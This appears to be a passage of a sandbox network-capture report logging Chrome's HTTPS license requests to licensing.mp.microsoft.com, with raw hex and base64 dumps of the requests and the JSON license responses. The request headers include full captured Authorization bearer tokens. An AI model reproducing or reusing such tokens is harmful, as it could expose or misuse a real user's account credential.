VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.14
Content-Length: 4501
Host: licensing.mp.microsoft.com

2022-07-01 09:01:26 UTC 2211 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:26 UTC 2215 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:26 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 8237
MS-CorrelationId: 1ff05fa3-20b4-44d0-838c-2d92156b50d1
MS-RequestId: c042e377-8e88-4cac-aa30-b765c9f66fbf
MS-CV: UznHpAHqV0GMBdER.14.1530939330.0.0
X-Content-Type-Options: nosniff
MS-ServerId: ent-bc5c55848-kh8zc

2022-07-01 09:01:26 UTC 2216 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 36 66 66 61 32 35 64 63 2d 63 38 39 64 2d 33 
64 65 39 2d 33 36 30 31 2d 64 66 30 39 62 61 65 36 35 61 37 35 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"6ffa25dc-c89d-3de9-3601-df09bae65a75"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:26 UTC 2217 IN Data Raw: 54 41 33 4c 54 41 78 56 44 41 77 4f 6a 49 7a 4f 6a 45 31 4c 6a 59 77 4e 6a 41 7a 4f 44 6c 61 50 43 39 43 5a 
57 64 70 62 6b 52 68 64 47 55 2b 50 43 39 4d 61 57 4e 6c 62 6e 4e 6c 53 57 35 6d 62 7a 34 38 51 33 56 7a 64 47 39 74 
55 47 39 73 61 57 4e 70 5a 58 4d 2b 5a 58 6c 4b 63 31 70 58 5a 47 68 5a 4d 32 78 52 59 32 30 35 61 32 52 58 54 6a 42 
54 56 31 46 70 54 32 6c 4b 62 45 31 45 57 6d 70 5a 62 55 70 73 57 6c 4d 77 4e 45 34 79 57 6d 6c 4d 56 46 45 7a 54 30 
64 4a 64 45 39 48 53 54 4e 50 51 7a 42 36 57 6b 52 42 65 55 39 45 56 6d 70 5a 62 55 70 74 57 56 52 5a 61 57 5a 52 50 
54 30 38 4c 30 4e 31 63 33 52 76 62 56 42 76 62 47 6c 6a 61 57 56 7a 50 6a 78 54 55 45 78 70 59 32 56 75 63 32 56 43 
62 47 39 6a 61 7a 35 47 51 55 46 42 51 55 77 30 51 55 46 42 52 45 70 42 
Data Ascii: TA3LTAxVDAwOjIzOjE1LjYwNjAzODlaPC9CZWdpbkRhdGU+PC9MaWNlbnNlSW5mbz48Q3VzdG9tUG9
saWNpZXM+ZXlKc1pXZGhZM2xRY205a2RXTjBTV1FpT2lKbE1EWmpZbUpsWlMwNE4yWmlMVFEzT0dJdE9
HSTNPQzB6WkRBeU9EVmpZbUptWVRZaWZRPT08L0N1c3RvbVBvbGljaWVzPjxTUExpY2Vuc2VCbG9jaz5
GQUFBQUw0QUFBREpB

2022-07-01 09:01:26 UTC 2218 IN Data Raw: 79 31 74 62 33 4a 6c 49 33 4a 7a 59 53 31 7a 61 47 45 79 4e 54 59 69 49 43 38 2b 50 46 4a 6c 5a 6d 56 79 
5a 57 35 6a 5a 53 42 56 55 6b 6b 39 49 69 49 2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 2b 50 46 52 79 59 57 35 
7a 5a 6d 39 79 62 53 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 
4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 41 76 4d 44 6b 76 65 47 31 73 5a 48 4e 70 5a 79 4e 6c 62 6e 5a 6c 62 47 39 77 5a 
57 51 74 63 32 6c 6e 62 6d 46 30 64 58 4a 6c 49 69 41 76 50 6a 77 76 56 48 4a 68 62 6e 4e 6d 62 33 4a 74 63 7a 34 38 
52 47 6c 6e 5a 58 4e 30 54 57 56 30 61 47 39 6b 49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 
76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 53 38 77 
Data Ascii: y1tb3JlI3JzYS1zaGEyNTYiIC8+PFJlZmVyZW5jZSBVUkk9IiI+PFRyYW5zZm9ybXM+PFRyYW5zZm9
ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlI
iAvPjwvVHJhbnNmb3Jtcz48RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8w

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:26 UTC 2219 IN Data Raw: 31 5a 54 53 6c 68 4a 64 45 52 7a 59 55 46 4a 5a 6e 64 35 55 6a 6c 69 61 47 67 76 57 6c 4e 77 63 45 4e 42 
54 79 74 70 62 6a 6c 51 54 30 78 58 5a 45 4d 79 4c 31 52 52 62 32 52 6e 5a 55 68 61 65 6d 4a 6b 51 6e 5a 34 53 6e 5a 
4c 61 48 42 69 63 6e 45 32 57 6c 41 77 52 6e 4e 54 52 57 78 4d 64 31 4a 76 54 45 46 74 64 6a 64 36 53 58 56 57 64 7a 
4e 57 59 6a 64 30 5a 6c 46 30 4e 57 4a 71 51 30 52 49 55 6b 46 48 4f 57 5a 6c 63 30 35 73 57 55 74 57 4d 33 6c 69 65 
55 35 79 53 48 6c 36 5a 32 78 6d 57 6c 42 53 51 6a 56 56 53 6c 70 33 4d 7a 4a 35 61 54 41 7a 65 6c 46 68 4b 30 78 4d 
59 54 41 31 5a 6d 70 7a 4e 6d 70 76 52 57 31 73 53 47 4d 31 51 6e 4a 48 55 58 4a 48 63 6d 4a 4f 54 55 4a 68 61 48 6f 
30 59 32 31 31 65 45 74 44 4e 43 39 6b 61 45 56 69 4e 30 70 61 52 6c 56 72 
Data Ascii: 1ZTSlhJdERzYUFJZnd5UjliaGgvWlNwcENBTytpbjlQT0xXZEMyL1RRb2RnZUhaemJkQnZ4SnZLaHB
icnE2WlAwRnNTRWxMd1JvTEFtdjd6SXVWdzNWYjd0ZlF0NWJqQ0RIUkFHOWZlc05sWUtWM3lieU5ySHl6Z2xmWlBSQ
jVVSlp3MzJ5aTAzelFhK0xMYTA1ZmpzNmpvRW1sSGM1QnJHUXJHcmJOTUJhaHo0Y211eEtDNC9kaEViN0paRlVr

2022-07-01 09:01:26 UTC 2220 IN Data Raw: 6b 61 57 35 6e 58 31 52 35 63 47 55 39 49 6b 31 68 59 32 68 70 62 6d 55 69 50 6a 78 42 63 33 4e 76 59 32 
6c 68 64 47 56 6b 55 45 5a 4f 63 7a 35 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 75 56 32 56 69 54 57 56 6b 61 57 46 46 65 
48 52 6c 62 6e 4e 70 62 32 35 7a 58 7a 68 33 5a 57 74 35 59 6a 4e 6b 4f 47 4a 69 64 32 55 38 4c 30 46 7a 63 32 39 6a 6
1 57 46 30 5a 57 52 51 52 6b 35 7a 50 6a 78 4d 5a 57 46 7a 5a 56 4a 6c 62 6d 56 33 59 57 78 51 5a 58 4a 70 62 32 51 
2b 4d 6a 41 78 4e 6a 41 38 4c 30 78 6c 59 58 4e 6c 55 6d 56 75 5a 58 64 68 62 46 42 6c 63 6d 6c 76 5a 44 34 38 4c 30 
4a 70 62 6d 52 70 62 6d 63 2b 50 45 78 70 59 32 56 75 63 32 56 4a 62 6d 5a 76 49 46 52 35 63 47 55 39 49 6b 78 6c 59 
58 4e 6c 49 69 42 4d 61 57 4e 6c 62 6e 4e 6c 56 58 4e 68 5a 32 55 39 49 6b 
Data Ascii: kaW5nX1R5cGU9Ik1hY2hpbmUiPjxBc3NvY2lhdGVkUEZOcz5NaWNyb3NvZnQuV2ViTWVkaWFFeHRlb
nNpb25zXzh3ZWt5YjNkOGJid2U8L0Fzc29jaWF0ZWRQRk5zPjxMZWFzZVJlbmV3YWxQZXJpb2Q+MjAxNjA8L0xlYXN
lUmVuZXdhbFBlcmlvZD48L0JpbmRpbmc+PExpY2Vuc2VJbmZvIFR5cGU9IkxlYXNlIiBMaWNlbnNlVXNhZ2U9Ik

2022-07-01 09:01:26 UTC 2221 IN Data Raw: 50 56 30 6b 77 57 6b 52 6a 65 45 35 35 4d 57 68 61 56 47 78 70 54 46 64 4a 4d 31 6c 71 55 58 52 50 52 47 
68 74 54 6c 4d 77 65 6c 70 71 55 58 6c 4f 56 47 78 70 54 30 64 56 4e 46 6c 58 57 57 31 69 56 30 5a 35 59 54 4a 57 4d 
46 42 57 56 6c 52 4b 62 6b 4a 32 59 6b 64 73 61 6d 56 57 55 6a 56 6a 52 31 55 35 55 6b 64 57 4d 6d 46 58 54 6d 78 4a 
61 58 64 70 59 54 4a 57 4e 56 4e 58 55 6e 70 4a 61 6e 42 69 53 57 70 61 62 56 70 74 52 58 6c 4f 56 31 4a 71 54 46 64 
4e 4e 45 39 58 55 58 52 4e 4d 6c 4a 73 54 31 4d 77 65 6b 35 71 51 58 68 4d 56 31 4a 74 54 55 52 73 61 56 6c 58 56 54 
4a 4f 56 30 55 7a 54 6c 4e 4b 5a 45 78 44 53 6e 4a 68 56 7a 56 72 53 57 70 76 61 56 45 79 4f 58 56 6b 52 31 5a 31 5a 
45 4e 4a 63 30 6c 75 51 6d 68 5a 4d 6e 52 6f 57 6a 4a 57 65 6b 6c 71 63 47 
Data Ascii: PV0kwWkRjeE55MWhaVGxpTFdJM1lqUXRPRGhtTlMwelpqUXlOVGxpT0dVNFlXWW1iV0Z5YTJWMFBWV
lRKbkJ2YkdsamVWUjVjR1U5UkdWMmFXTmxJaXdpYTJWNVNXUnpJanBiSWpabVptRXlOV1JqTFdNNE9XU
XRNMlJsT1Mwek5qQXhMV1JtTURsaVlXVTJOV0UzTlNKZExDSnJhVzVrSWpvaVEyOXVkR1Z1ZENJc0luQ
mhZMnRoWjJWeklqcG

2022-07-01 09:01:26 UTC 2222 IN Data Raw: 74 4b 33 67 35 5a 30 4d 30 59 6e 4d 77 64 30 46 42 51 55 46 52 51 55 46 42 51 6a 42 7a 4f 55 4a 70 65 6b 
46 42 51 55 46 46 55 55 46 42 51 55 46 43 51 55 46 4a 51 55 4a 72 51 30 46 47 65 54 64 36 53 6c 6c 55 59 79 74 69 59 
53 74 7a 64 58 56 58 4b 7a 4a 56 51 6a 42 56 54 31 6b 76 52 6b 5a 53 53 6d 46 42 57 69 38 72 61 30 5a 35 54 6e 49 31 
54 6b 4e 32 63 30 52 69 53 6d 78 36 55 44 56 52 4d 6b 64 57 4d 6e 5a 45 64 47 49 35 54 57 64 75 56 32 5a 5a 56 46 55 
30 54 45 31 4e 51 6b 46 54 57 44 68 70 64 6b 64 52 50 54 30 38 4c 31 4e 51 54 47 6c 6a 5a 57 35 7a 5a 55 4a 73 62 32 
4e 72 50 6a 78 54 61 57 64 75 59 58 52 31 63 6d 55 67 65 47 31 73 62 6e 4d 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 
33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 41 76 4d 44 6b 76 65 47 
Data Ascii: tK3g5Z0M0YnMwd0FBQUFRQUFBQjBzOUJpekFBQUFFUUFBQUFCQUFJQUJrQ0FGeTd6SllUYytiYStzd
XVXKzJVQjBVT1kvRkZSSmFBWi8ra0Z5TnI1TkN2c0RiSmx6UDVRMkdWMnZEdGI5TWduV2ZZVFU0TE1NQ
kFTWDhpdkdRPT08L1NQTGljZW5zZUJsb2NrPjxTaWduYXR1cmUgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDA
vMDkveG

2022-07-01 09:01:26 UTC 2223 IN Data Raw: 75 61 56 56 73 4d 54 51 31 4d 55 64 31 53 6a 6c 32 52 32 30 35 4d 32 39 34 59 30 74 5a 53 30 4a 4b 4e 6e 
68 6c 52 30 4e 4b 4f 47 5a 76 61 47 52 4a 54 6d 46 32 51 57 6b 33 4b 32 78 4c 62 7a 56 34 4e 30 70 49 62 48 64 59 52 
31 56 6a 65 69 74 79 56 7a 4d 31 55 6e 4e 6d 64 48 52 44 55 54 6b 34 63 6d 34 76 61 30 34 78 65 57 68 6c 56 30 78 36 
56 54 5a 45 52 54 4a 4c 56 31 64 32 64 53 74 47 4d 6a 6c 75 61 47 35 6f 4f 45 78 34 51 56 4e 36 63 33 6c 6e 55 45 56 
78 55 6b 4e 4c 62 6a 56 76 57 6c 42 57 62 30 35 6a 5a 79 39 58 51 54 52 34 56 32 67 77 57 48 52 35 64 6e 55 34 4e 30 
74 54 62 32 46 4c 55 48 6c 56 4d 57 64 49 56 53 38 31 4e 6d 6c 57 57 44 56 45 51 6e 4e 6a 4f 46 4e 46 4e 58 6c 6c 4e 
6b 5a 71 59 56 45 32 5a 44 64 4a 57 55 63 7a 4e 32 5a 46 5a 46 4a 61 4f 57 
Data Ascii: uaVVsMTQ1MUd1Sjl2R205M294Y0tZS0JKNnhlR0NKOGZvaGRJTmF2QWk3K2xLbzV4N0pIbHdYR1Vje
ityVzM1UnNmdHRDUTk4cm4va04xeWhlV0x6VTZERTJLV1d2dStGMjluaG5oOEx4QVN6c3lnUEVxUkNLbjVvWlBWb05
jZy9XQTR4V2gwWHR5dnU4N0tTb2FLUHlVMWdIVS81NmlWWDVEQnNjOFNFNXllNkZqYVE2ZDdJWUczN2ZFZFJaOW

2022-07-01 09:01:26 UTC 2224 IN Data Raw: 38 4c 31 4e 70 5a 32 35 68 64 48 56 79 5a 54 34 38 4c 30 78 70 59 32 56 75 63 32 55 2b 22 7d 5d 2c 22 72 6f 
6f 74 73 22 3a 5b 5d 7d 7d 
Data Ascii: 8L1NpZ25hdHVyZT48L0xpY2Vuc2U+"}],"roots":[]}}

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

128 192.168.2.5 49895 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:26 UTC 2224 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.15
Content-Length: 4353
Host: licensing.mp.microsoft.com

2022-07-01 09:01:26 UTC 2225 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:26 UTC 2230 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:26 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 8089
MS-CorrelationId: fdb5e383-d254-4728-9287-61b57c879993
MS-RequestId: 577ec79b-fca6-4d34-9100-328c509bb9cc
MS-CV: UznHpAHqV0GMBdER.15.1530939374.0.0
X-Content-Type-Options: nosniff
MS-ServerId: 8

2022-07-01 09:01:26 UTC 2230 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 37 31 63 38 66 33 37 61 2d 61 37 62 39 2d 61 
66 66 30 2d 36 64 65 30 2d 39 62 32 37 36 63 30 38 39 61 64 36 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"71c8f37a-a7b9-aff0-6de0-9b276c089ad6"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:26 UTC 2231 IN Data Raw: 47 55 2b 4d 6a 41 79 4d 69 30 77 4e 79 30 77 4d 56 51 77 4d 44 6f 79 4d 54 6f 77 4f 43 34 7a 4f 54 55 31 4d 
44 56 61 50 43 39 43 5a 57 64 70 62 6b 52 68 64 47 55 2b 50 43 39 4d 61 57 4e 6c 62 6e 4e 6c 53 57 35 6d 62 7a 34 38 
51 33 56 7a 64 47 39 74 55 47 39 73 61 57 4e 70 5a 58 4d 2b 5a 58 6c 4b 63 31 70 58 5a 47 68 5a 4d 32 78 52 59 32 30 
35 61 32 52 58 54 6a 42 54 56 31 46 70 54 32 6c 4a 4d 6b 35 48 52 54 4e 50 56 47 73 78 54 58 6b 78 61 6c 70 71 51 6d 
6c 4d 56 46 45 77 57 6d 70 72 64 46 6c 71 56 6d 70 4f 51 7a 46 73 57 6c 52 57 61 31 70 71 54 6d 68 4e 56 46 5a 71 54 
6d 70 4e 61 57 5a 52 50 54 30 38 4c 30 4e 31 63 33 52 76 62 56 42 76 62 47 6c 6a 61 57 56 7a 50 6a 78 54 55 45 78 70 
59 32 56 75 63 32 56 43 62 47 39 6a 61 7a 35 47 51 55 46 42 51 55 31 33 
Data Ascii: GU+MjAyMi0wNy0wMVQwMDoyMTowOC4zOTU1MDVaPC9CZWdpbkRhdGU+PC9MaWNlbnNlS
W5mbz48Q3VzdG9tUG9saWNpZXM+ZXlKc1pXZGhZM2xRY205a2RXTjBTV1FpT2lJMk5HRTNPVGsxTXkxa
lpqQmlMVFEwWmprdFlqVmpOQzFsWlRWa1pqTmhNVFZqTmpNaWZRPT08L0N1c3RvbVBvbGljaWVzPjxTU
ExpY2Vuc2VCbG9jaz5GQUFBQU13

2022-07-01 09:01:26 UTC 2232 IN Data Raw: 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 7a 41 30 4c 33 68 74 62 47 52 7a 61 57 63 74 62 57 39 79 
5a 53 4e 79 63 32 45 74 63 32 68 68 4d 6a 55 32 49 69 41 76 50 6a 78 53 5a 57 5a 6c 63 6d 56 75 59 32 55 67 56 56 4a 
4a 50 53 49 69 50 6a 78 55 63 6d 46 75 63 32 5a 76 63 6d 31 7a 50 6a 78 55 63 6d 46 75 63 32 5a 76 63 6d 30 67 51 57 
78 6e 62 33 4a 70 64 47 68 74 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 
44 41 77 4c 7a 41 35 4c 33 68 74 62 47 52 7a 61 57 63 6a 5a 57 35 32 5a 57 78 76 63 47 56 6b 4c 58 4e 70 5a 32 35 68 
64 48 56 79 5a 53 49 67 4c 7a 34 38 4c 31 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 2b 50 45 52 70 5a 32 56 7a 64 45 31 
6c 64 47 68 76 5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 
Data Ascii: nczLm9yZy8yMDAxLzA0L3htbGRzaWctbW9yZSNyc2Etc2hhMjU2IiAvPjxSZWZlcmVuY2UgVVJJPSI
iPjxUcmFuc2Zvcm1zPjxUcmFuc2Zvcm0gQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRza
WcjZW52ZWxvcGVkLXNpZ25hdHVyZSIgLz48L1RyYW5zZm9ybXM+PERpZ2VzdE1ldGhvZCBBbGdvcml0aG09Imh0

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:26 UTC 2233 IN Data Raw: 46 4a 54 51 55 74 6c 65 56 5a 68 62 48 56 6c 50 6a 78 4e 62 32 52 31 62 48 56 7a 50 6d 39 57 55 30 70 59 
53 58 52 45 63 32 46 42 53 57 5a 33 65 56 49 35 59 6d 68 6f 4c 31 70 54 63 48 42 44 51 55 38 72 61 57 34 35 55 45 39 
4d 56 32 52 44 4d 69 39 55 55 57 39 6b 5a 32 56 49 57 6e 70 69 5a 45 4a 32 65 45 70 32 53 32 68 77 59 6e 4a 78 4e 6c 
